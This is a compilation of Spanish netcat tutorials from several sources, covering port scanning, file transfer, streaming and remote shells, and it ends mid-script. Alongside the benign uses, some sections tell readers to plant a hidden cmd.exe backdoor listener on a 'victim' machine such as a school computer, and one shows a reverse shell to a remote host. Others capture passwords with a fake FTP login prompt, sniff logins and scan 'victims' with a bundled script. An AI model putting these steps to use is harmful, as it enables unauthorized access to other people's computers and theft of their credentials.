miércoles, 8 de julio de 2015

NETCAT LA NAVAJA SUIZA

Buenas,

bienvenidos a un nuevo tutorial sobre herramientas imprescindibles de Hacking. Me dispongo a explicar en que consiste la famosa herramienta NetCat.

Sencillamente es una herramienta que establece conexiones TCP/IP, es su explicación básica, sin embargo cumple muchísimas funciones más como por ejemplo: transferencia de archivos, escaner de puertos y más atributos, conexiones entre máquinas (servidores, ordenadores y otros.)

Otro dato importantísimo es que cumple las propiedades de Multiplataforma, es decir, funciona tanto bajo S.O Windows, distros Linux o Mac OSX lo que proporciona una comunicacion entre sistemas con distinto sistema operativo lo que no limita por el hecho de utilizar un soporte diferente, en mi opinión es la salvación ya que me da igual en que máquina estar. Por eso es llamado ""La navaja suiza de los Hackers"" por su gran versatilidad y sencillez puedes realizar acciones sin tener que utilizar otras herramientas.

Para máquinas que utilicen distros de Linux aquí les dejo un Link para descargar NetCat (última versión)
http://netcat.sourceforge.net/download.php

Ahora les explicaré su funcionamiento ya que aclaré en que consistía NetCat, veamos unos cuantos ejemplos de su utilización. Antes de nada el prefijo para cualquier comando utilizando NetCat es: nc [comando] [atributos] ...

Escaneo de puertos con NetCat

NetCat es capaz de realizar escaneo de puertos en una velocidad bastante rápida, nos listará todos los puertos que le mandemos que escanee, abiertos o cerrados.

Comando:
nc -vv -w 2 -z [ip del objetivo] [puerto inicial] - [puerto final]

El atributo -z nos permite prevenir el envio de datos TCP en una conexion y muy pocos paquetes UDP, de esta forma el escaneo será mucho más rápido. Si queremos incluir un retardo de tiempo en cada puerto escaneado introduciremos en el comando el atributo -i [segundos].

Ejemplo práctico: nc -vv -w2 -z localhost 1-100 .. esto sacará todos los puertos abiertos o cerrados de mi máquina desde el 1 al 100.

Obtener información de máquinas

NetCat nos brinda la opción a la vez que nmap (o telnet) de recibir los mensajes de cabecera http de los servidores, de esta manera podemos obtener información acerca del servidor objetivo ya sea el servidor en el que esta corriendo, SO, servicios...

Comando:
nc -vv -n [ip del objetivo] [puerto/servicio]

una vez introducido este comando debemos teclear GET HTTP para que retorne toda la información relacionada con la accion GET del HTTP/1.1



Conexiones/obtener shell con NetCat

Bueno ésta es la parte más funcional de NetCat ya que es para lo que más se utiliza. Esta función es muy recurrida en Malware para obtener una shell de la máquina víctima para poder controlar su ordenador y obtener información acerca de éste. NetCat en sí conecta dos máquinas y otorga la posibilidad de abrir un proceso del equipo al que nos conectamos (cmd.exe), allá cada uno con sus fines, me voy a limitar unicamente a explicar lo necesario para establecer conexiones entre ordenadores.

Dejar a la escucha una shell en un puerto  en la maquina victima:

nc -vv [-L] [-l] [-d] [ip de nuestra maquina] [-p puerto] 
[-e programa que se ejecutará al conectar con la víctima]

es bastante pero es fácil de comprender una vez bien explicado, este comando debe escribirse en el ordenador al que nos queremos conectar, esto es muy importante. Por ejemplo, quiero conectarme al ordenador X de mi colegio, pues debo ingeniarmelas para ingresar el comando de arriba en él.
Las opción -l significa una sóla conexión, es decir si interrumpimos la conexion con el ordenador al que nos hemos conectado y éste tenía la opción -l en su comando no nos podremos volver a conectar hasta que volvamos a poner en escucha un puerto. En cambio la opción -L nos deja conectarnos sin interrumpir el puerto en escucha, sin tener que volver a poner el comando anterior.
La opción -d pone el proceso nc.exe en background, es decir, lo oculta y solo será mostrado en el Administrador de Tareas (taskmsgr.exe)

Ejemplo de utilización:
nc -vv -L -d localhost -p 1234 -e cmd.exe

Ahora redactaré la vía para conectarse al puerto que hemos dejado en escucha en la máquina a la que nos queremos conectar.

Comando:
nc -vv [ip victima] [puerto en escucha]

de esta manera si todo ha salido bien se conectará a la víctima y se ejecutará su cmd, es decir, obtendremos una shell remota de la victima.
Desde ahí controlaremos la máquina que dejamos a la escucha sin tener que estar frente a ella.

He de decir que si tuviera que ir a una isla desierta llevaria netcat xD (no me han pagado por decirlo, es por experiencia ya).

Cualquier duda que tengais posteadla he intentare ir mejorando este tutorial ya que NetCat da para más.

Saludos!

Netcat, la navaja suiza de TCP/IP


networking
Netcat es una de las herramientas más potentes y flexibles que existen en el campo de la programación, depuración, análisis y manipulación de redes y servicios TCP/IP. Es un recurso imprescindible tanto para expertos en seguridad de redes como para hackers. Esta receta incluye varios ejemplos de uso de GNU netcat.

Introducción

Aunque netcat puede hacer muchas cosas, su función principal es muy simple:
  1. Crea un socket con el destino indicado si es cliente, o en el puerto indicado, si es servidor
  2. Una vez conectado, envía por el socket todo lo que llegue en su entrada estándar y envía a su salida estándar todo lo que llegue por el socket
Algo tan simple resulta ser extraordinariamente potente y flexible como vas a ver e continuación. Por simplicidad se utilizan conexiones locales aunque, por supuesto, se pueden utilizar entre máquinas diferentes.

Ingredientes

  • netcat
  • bash (o equivalente)
  • utilidades GNU básicas

Sintaxis

nc [-options] hostname port[s] [ports]
nc -l -p port [-options] [hostname] [port]

Parámetros básicos

  • -l: modo ‘listen’, queda a la espera de conexiones entrantes.
  • -p: puerto local
  • -u: modo UDP
  • -e: ejecuta el comando dado después de conectar
  • -c: ejecuta órdenes de shell (hace /bin/sh -c [comando] después de conectar

Un chat para dos

Servidor


$ nc -l -p 2000

Cliente


$ nc localhost 2000

Transferencia de ficheros

La instancia de nc que escucha recibe el fichero. El receptor ejecuta:
$ nc -l -p 2000 > fichero.recibido
Y el emisor:
$ nc localhost 2000 < fichero

Servidor de echo

Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que
se le envíe
$ nc -l -p 2000 -e /bin/cat
Y en otra consola:
$ nc localhost 2000
hola
hola

Servidor de daytime

Exactamente lo mismo que el ejemplo anterior pero ejecutando date en lugar de cat.
$ nc -l -p 2000 -e /bin/date
Y en otra consola:
$ nc localhost 2000
lun feb 23 21:26:48 CET 2004

shell remota estilo telnet

Servidor


$ nc -l -p 2000 -e /bin/bash

Cliente


$ nc localhost 2000

Telnet inverso

En esta ocasión es el cliente quien pone el terminal remoto

Servidor

$ nc -l -p 2000

Cliente

$ nc server.example.org 2000 -e /bin/bash

Cliente de IRC

nc irc.freenode.net 6666
NOTICE AUTH :*** Looking up your hostname…
NOTICE AUTH :*** Found your hostname, welcome back
NOTICE AUTH :*** Checking ident
NOTICE AUTH :*** No identd (auth) response
NICK nadie
USER nadie nadie nadie :nadie
:kubrick.freenode.net 001 nadie :Welcome to the freenode IRC Network nadie
:kubrick.freenode.net 002 nadie :Your host is kubrick.freenode.net[kubrick.freenode.net/6666], running version hyperion-1.0.2b
[…]
y a partir de ahí puedes introducir cualquier comando de IRC:
  • LIST
  • JOIN #canal
  • PART #canal
  • PRIVMSG #canal :mensaje
  • WHO #canal
  • QUIT

Cliente de correo SMTP

Podemos usar netcat para enviar correo electrónico por medio de un servidor SMTP, utilizando el protocolo directamente:
~$ nc mail.servidor.com
220 mail.servidor.com ESMTP Postfix
HELO yo
250 mail.servidor.com
MAIL FROM:guillermito@microchof.com
250 Ok
RCPT TO:manolo@cocaloca.es
250 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Aviso: su licencia ha caducado. Me deben un pastón.
.
250 Ok: queued as D44314A607
QUIT
221 Bye

HTTP

Es sencillo conseguir un cliente y un servidor HTTP rudimentarios.

Servidor

$ nc -l -p http -c “cat index.html”
Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox.

Cliente

$ echo “GET /” | nc www.google.com 80 > index.html

Streaming de audio

Un sencillo ejemplo para hacer streaming de un fichero .mp3:

Servidor

$ nc -l -p 2000 < fichero.mp3
y para servir todos los .mp3 de un directorio:
$ cat *.mp3 | nc -l -p 2000

Cliente

$ nc server.example.org 2000 | madplay –

Streaming de video

Servidor

$ nc -l -p 2000 < pelicula.avi

Cliente

$ nc server.example.org 2000 | mplayer –

Proxy

Sirva para redirigir una conexión a otro puerto u otra máquina:
$ nc -l -p 2000 -c “nc example.org 22”
El tráfico recibido en el puerto 2000 de esta máquina se redirige a la máquina example.org:22. Permite incluso que la conexión entrante sea UDP pero la redirección sea TCP o viceversa!

Clonar un disco a través de la red

Esto se debe usar con muchísima precaución. ¡Si no estás 100% seguro, no lo hagas! No digas que no te avisé.
Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido.

Servidor

$ dd if=/dev/sda1 | nc -l -p 2000

Cliente

$ nc server.example.org 2000 | dd of=pendrive.dump
$ mount pendrive.dump -r -t vfat -o loop /mnt/usb

Ratón remoto

Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg.

Servidor

# nc -l -p 2000 < /dev/input/mice

Cliente

Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:
Section "InputDevice"
    Driver     "mouse"
    ...
    Option    "Device"    "/tmp/fakemouse"
    ....
EndSection
$ mkfifo /tmp/fakemouse
$ nc server.example.org 2000 > /tmp/fakemouse
# /etc/init.d/gdm restart

Medir el ancho de banda

Servidor

$ nc -l -p 2000 | pv > /dev/null

Cliente

$ nc server.example.org 2000 < /dev/zero

Imprimir un documento en formato PostScript

Funciona en impresoras que soporten el estándar AppSocket/JetDirect, que son la mayoría de las que se conectan por Ethernet.
$ cat fichero.ps | nc -q 1 nombre.o.ip.de.la.impresora 9100

Ver «La Guerra de las Galaxias»

$ nc towel.blinkenlights.nl 23



Netcat: la navaja suiza para linux







Hace algún tiempo descubrí una herramienta llamada netcat. En muchos lugares la bautizan como la navaja suiza ya que este comando puede servir para mil y una tareas. En un principio la subestimé, pero poco después se ha convertido en una de mis aliadas favoritas.
El funcionamiento de netcat es muy sencillo, abre un socket TCP y envía a través de él lo que recibe por la entrada estándar (modo servidor) o viceversa, es decir, copia en la salida estándar lo que recibe por red (modo cliente).
¿Quieres ver alguno de los usos que le doy?

Conexión simple

Al más puro estilo de un telnetnetcat te permite conectarte a un puerto ofrecido por cualquier daemon del sistema.
Para iniciar una conexión hacia algún puerto en algún sistema, se utiliza seguido de una dirección IP y un puerto al cual conectarse. En el siguiente ejemplo realizo una conexión hacia el puerto 25 (SMTP) de 127.0.0.1:
$ nc 127.0.0.1 25
Si hay un servidor de correo funcionado, lo anterior puede devolver una salida similar a la  siguiente, donde requerirá escribir quit para cerrar la conexión:
220 localhost.localdomain ESMTP ; Wed, 30 Oct 2013 10:24:52 +0200
quit
221 2.0.0 localhost.localdomain closing connection

Revisión de puertos

Para revisar los puertos abiertos, podemos usar la opción , -z para solicitar se trate de escuchar por puertos abiertos y un puerto o rango de puertos. En el siguiente ejemplo vamos a revisar cuáles puertos TCP (modo predeterminado) están abiertos dentro del rango que va del puerto 21 al puerto 25.
$ nc -vz 127.0.0.1 21-25
Lo anterior puede devolver una salida similar a la siguiente, si se encontrasen abiertos los puertos 21, 22 y 25.
Connection to 127.0.0.1 21 port [tcp/ftp] succeeded!
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
Connection to 127.0.0.1 25 port [tcp/smtp] succeeded!
De manera opcional, se pueden revisar si están abiertos los puertos UDP abiertos añadiendo la opción -u. En el siguiente ejemplo revisamos cuáles puertos UDP se encuentran abiertos entre el rango comprendido entre los puertos 21 al 80.
$ nc -zu 127.0.0.1 21-80
Connection to 127.0.0.1 53 port [udp/domain] succeeded!
Connection to 127.0.0.1 67 port [udp/bootps] succeeded!
Connection to 127.0.0.1 68 port [udp/bootpc] succeeded!

Transferencia de datos

Imagina que necesitas transferir un fichero, un directorio o una partición entera de un servidor a otro. No puedes usar ni FTP, ni SMB, ni NFS… ¿Que haces?
Los siguientes ejemplos envían un fichero, un directorio y hasta partición entera a través de la red. netcat se inicia en modo servidor (-l), escuchando en el puerto 12345 (-p 12345) y con un timeout de 10 segundos, por si no recibe nada en la entrada estándar (-q 10):
Un archivo:
$ cat file.txt | nc -q 10 -l -p 12345
Un directorio:
$ tar c directory | nc -q 10 -l -p 12345
Una partición entera:
$ dd if=/dev/sda1 | gzip -9 | nc -q 10 -l -p 12345
En el receptor deberás usar netcat para conectarse con el emisor. Usamos también un timeout (-w 10)
Un archivo:
$ nc -w 10 remotehost 12345 > file.txt
Un directorio:
$ nc -w 10 remotehost 12345 | tar -xvf -
Una partición 
entera:
$ nc -w 10 remotehost 12345 | gunzip | dd of=/dev/sda3
Sacandole Provecho a una exelente Utilidad.
por: Kliber.
kliber@hven.com.ve
Hackers Venezuela
==========================================

   Netcat es un pequeño programa creado para uso de los
administradores de redes (y por supuesto para los Hackers) :), este
proggie fue creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fue Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene 
infinidad de funciones, aunque se deja que sea el usuario quien las 
averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy 
elementales solamente...

         La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX,  trabaja con lineas de comandos desde MS-DOS (o desde el 
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre 
TCP/IP. El comando principal es nc con su respectiva variable u opción 
al mas puro estilio Unix.


         Cabe destacar que la información sobre Netcat y sus usos
especificos es bastante limitada; aunque Hobbit en su documento aclara 
muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado 
para mas de 1001 vainas... 

   Netcat puede   ser encontrado en: http://www.l0pht.com/~weld/netcat


   Netcat en WinX
   ==============
   
Este es el resultado de el comando de ayuda de netcat en una máquina windows

 c:>nc -h

connect to somewhere:   nc [-options] hostname port [ports]
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point, up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

  Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos 
ofrece el poder manejar conexiones de una manera tan básica y sencilla:

<------ Opciones de Netcat --------->

-d  (Modo Stealth o encubierto) 
   Esta opción desvincula al Programa de la consola, haciendolo 
trabajar en el BackGround.

-e<prog>  (Ejecuta un programa cuando se conecta) 
   Puede ser utilizado para ejecutar incluso un Shell tanto 
en WinX como en *NIX.

-l  (Escuchando conexiones) 
   Deja a un puerto abierto en espera de una conexión

-L  (lo mismo que anteriormente pero sigue escuchando aún cuando la
conexión es cerrada)
    Esta opción es incluida en la versión de Weld Pond de L0pth, y 
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conexión cerrada termina con el proceso de nc) esta opción -L 
permite seguir escuchando en el mismo puerto (la rutina de nc -l es 
reiniciada).

-n   (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta 
opción le especificamos que no lo haga, y use solamente direcciones IP.

-o<logfile>  (obtiene un archivo log en Hex de la acción) Genera un Log de 
las actividades de netcat en código Hexadecimal.

-p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.

-s<ip addr>  (pegarse a un IP especifico) Netcat puede utilizar IP de una red
como fuente local.

-t   (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.

-u  specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.

-v   (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios 
en profundidad y observar todos los detalles en un Sniffing.

-w <segundos> (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conexiones .

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning. 

-g <gateway> (especificar Gateways) Una de las opciones más interesantes de netcat, 
permite utilizar Routers como "puentes" de conexión.

-G <numero> (Especificar puntos de Routing), Con esta opción podemos crear 
una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes 
(Spoofing).
 
-i <segundos> Especifica un intervalo de segundos entre puertos Scaneados.

<------------- Fin de las opciones comentadas ------> 


   Netcat en Linux
   ===============

   Netcat en una plataforma como Linux se convierte en una utilidad
muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación
como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell
de Linux mediante Shell Scripts.

   Cabe destacar que distribuciones como RedHat Linux trae junto con
sus paquetes de instalación una versión limitada de netcat; lo mas recomendable
es bajar de la red la versión full de netcat para Linux (Importante: La 
versión de netcat para linux viene a prueba de lamers, por lo cual debemos 
compilar a netcat con unos flags especiales para poder obtener las opciones
-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo
desempaquetas en el directorio de tu preferencia, te ubicas dentro del 
directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"


 Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar 
netcat directamente llamandolo de cualquier parte del Shell, ademas de que
podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat
trae unos scripts muy interesantes y bien comentados para que los estudies 
y comprendas mejor su implementación en scripts, los scripts están en el 
directorio donde desempaquetastes netcat en /scripts , los corres como 
siempre: ./probe  (o el script que quieras).


   Utilizando Netcat.
   ==================

   Para ilustrar mejor como trabajamos con este programa, lo mejor es 
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.

 Algunas de las cosas que podemos hacer con NetCat son:

         Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conexión es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conexión a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

         Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....

         Si esta conexión es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos :)

         La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conexión a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos  los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.


         Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v <IP> <puerto> (puedes añadir otra -v)


         Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:

c:\>nc -v <host> 79 < user.txt > log.txt

         El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt


   Scanner:
   ========

         Netcat puede ser utilizado como scanner, sus multiples opciones 
le permiten realizar un gran número de combinaciones, pudiendo realizar 
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o 
descendente, con intervalos de tiempo, utilizando gateways para evitar 
mostrar la IP fuente del Scanning, etc. 

 C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

         Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused  etc...

         Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.
      

   Sniffer:
   ========

   Otra de las interesante posibilidades de netcat es su capacidad para 
escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el 
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo 
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]


   Tambien podemos redireccionar toda la salida a un archivo e 
irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt]
 sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conexión,
"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...




         El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
    ---------------------

         Ejecutamos a Netcat con la opción o variable -v (verbose)
(doblemente "verbose" por si acaso) ;) esto hará que el resultado de
netcat, sea mostrado directamente en pantalla (a diferencia del archivo
usado por Dr._X) , la opción o variable -L (Listen, and listen again)
nos permitirá dejar escuchando u "oliendo" en determinado puerto aun
cuando la conexión sea interrumpida (listen again), con la variable -p
le indicamos el puerto...

         Al ejecutar a netcat con esa combinación de variables las
opción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...


         Realizo desde otra ventana un telnet a localhost (127.0.0.1) en
el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado


         Voilá! un Sniffer en LocalHost!  Jajaja!!!

      

   Detector de Conneciones Sospechosas:
   ====================================

   La posibilidad de dejar a netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" para un supuesto agresor que utilize
scanners, o herramientas tales como NetBus o BackOrifice en contra de 
nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood
y redireccionar su salida hacia la estación agresora en caso de una conexión
no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas
 más, Muaahahaha!)  :)

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo
real de un dia como cualquier otro en IRC; he aquí el ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
 31338

         Back Orifice utiliza el protocolo UDP para realizar sus
travesuras, realiza la conexión desde un puerto aleatorio (casi siempre
el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una
variante de BO), por eso se utiliza la opción -u (protocolo udp) ,
netcat se queda esperando conexiones UDP en el puerto 31337 (default de
BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a
pantalla el IP y el DNS del agresor...

         Luego un pequeño "Ping of Death" (Nuke) para el transgresor y
le hacen un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!


   Otros usos Miscelaneos:
   =======================

    Puedes utilizar algo de ingienería social para capturar algunos
passwords con netcat, por ejemplo, si una máquina no tiene abierto el
puerto de FTP o de telnet, creas un archivo de texto que solicite el ID
y el Password de la víctima; algo así:

Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:

Luego redireccionas el archivo hacia la victima:

C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

         Si el tonto cae... Ahí va tu password, Jeje!! B-] un poco de
imaginación y maña te permitirán encontrar muchas utilidades para
netcat.


   Netcat en Vez de Telnet.
   =======================

   Yo personalmente prefiero usar netcat para realizar connecciones
remotas como alternativa al Telnet. la ventaja de realizar conexiones telnet 
desde netcat es que este esconde "algo" sobre tu conexión, lo que lo hace 
mas "sigiloso" que telnet, (de ahí por que lo llamaron netcat), Realizando 
una conexión "Limpia" en determinado puerto, obviando las negociaciones 
comunes de Telnet que pueden confundir al cliente en determinados casos, 
como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.

    OJO: algunas máquinas interpretan al cliente de telnet 
y asumen el nombre del usuario que lo utiliza, de allí el porqué algunos
servidores solo preguntan por password ; teoricamente netcat no envia
esta información. Por eso, es recomendable acostumbrarse a utilizar netcat
para hacer conexiones remotas:

 
   c:> nc -v nombre del host 23(o el puerto de tu preferencia)


   Netcat y Programación:
   ======================

   Esta combinación desencadena todo el Poder de Netcat en su máxima
expresión; Tratandose de una herramienta que funciona con lineas de comandos,
su integración con un lenguaje de programación le permite realizar gran 
cantidad de tareas, y posibilidades se van descubriendo dia a dia con su 
inclusión en nuevos Scripts y Exploits. 

   Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten
frustrados porque muchos de los Scripts y Exploits que bajan de la Red 
simplemente no les funciona, porque no saben interpretar el Código y por
lo tanto son incapaces de efectuar las modificaciones necesarias para incluir
librerias, paths o utilidades necesarias para su funcionamiento. 
(Jódanse ScriptKiddies!!! Jajaja!!)

   Netcat es exelente para implementar exploits remotos, permitiendo 
enviar el código a cualquier puerto vulnerable con una simple orden, logrando
ejecutar todos los comandos necesarios para explotar determinados servicios. 

   Varios exploits que circulan actualmente en la Red, usan a netcat 
como "motor" para manejar las conexiones, si analizamos el código de estos
programas podemos observar un nc por ahí, esto significa que el Proggie en
cuestión necesita una versión correctamente compilada de netcat en el 
directorio  /usr/bin . A continuación un pequeño programa realizado por
el Doctor_X de Hven utilizando a netcat:

<---------- Hven Port Scanner!! ------>

# !/bin/bash
# Scanner de Puertos 
# By DoctorX 17/04/99  email: d0ct0r_x@bactery.8m.com
# Zona de Bacterias  http://bactery.8m.com
# Hackers de Venezuela http://www.hackhour.com.br/hven
# Este es un shell script hecho por mi para la verificacion de 
# conexiones a un host utilizando netcat.

# Declaracion de Variables

export NETCAT=" nc -v -v -w 8 -z "
export RANGO=$2
LOCALHOST=$(uname -n)
export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337"
export MEM1="Scanner de Puertos "
export MEM2="by "   
export MEM22="para Hackers Venezuela"
export MEM3="Victima : " 
export MEM4="Falta el GateWay para el Source Routing !!!!!!"
export MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
export MEM6="Local Host : $LOCALHOST " 
export MEM7="UDP Scan "
export MEM8="http://www.hackhour.com.br/hven"
export re=" [5m"
export cl=" [0m"
export rojo=" [31m"
export email="email:d0ct0r_x@bactery.8m.com"

# Declaracion de Funciones

# Mensaje cuando no se le dan Parametros

function mem() {
local uso="uso  :$0  [opcion]  <host> <gateway>"
local DRX="DoctorX"
echo $MEM1 
echo $MEM2   ${rojo}$DRX${cl}  $MEM22
echo $MEM8
echo ${rojo}$uso${cl} 
echo "<host>             :IP/HOSTNAME de La Victima jejejeje "
echo "<gateway>          :source-routing , es opcional " 
echo "opciones : "
echo "u                  :esta opcion de utiliza para hacer scan udp"
echo "so                 :Determinacion de SO de servidores Web" 
echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" &&
exit ; }

# Mensaje Inicial

function mem2() {
VICTIMA=$1
echo $MEM1
echo $MEM2 ${rojo}DoctorX${cl} $MEM22
echo $MEM3  $VICTIMA
echo $MEM6 ; }

# Mensaje 2

function mem_web() {
mem_web1="Hackers Venezuela"
mem_web2="By"
mem_web3="Victima : "
VICTIMA=$1
mem_web4="Determinacion de SO en Web Servers"
echo $mem_web1
echo $mem_web4
echo $mem_web2 ${rojo}DoctorX${cl} $email 
echo $mem_web3 $VICTIMA ;}


# Scan Tcp

function tcp() {
 HOST=$1
 $NETCAT  $HOST $PUERTOS ; }

# Scan Tcp con Rango

function tcp_rango() {
 HOST=$2
 RANGO=$1
 $NETCAT  $HOST $RANGO ; }

# Scan UDP

function udp() {  
VICTIMA=$1
echo $MEM7 
$NETCAT  -u $VICTIMA $PUERTOS ; }

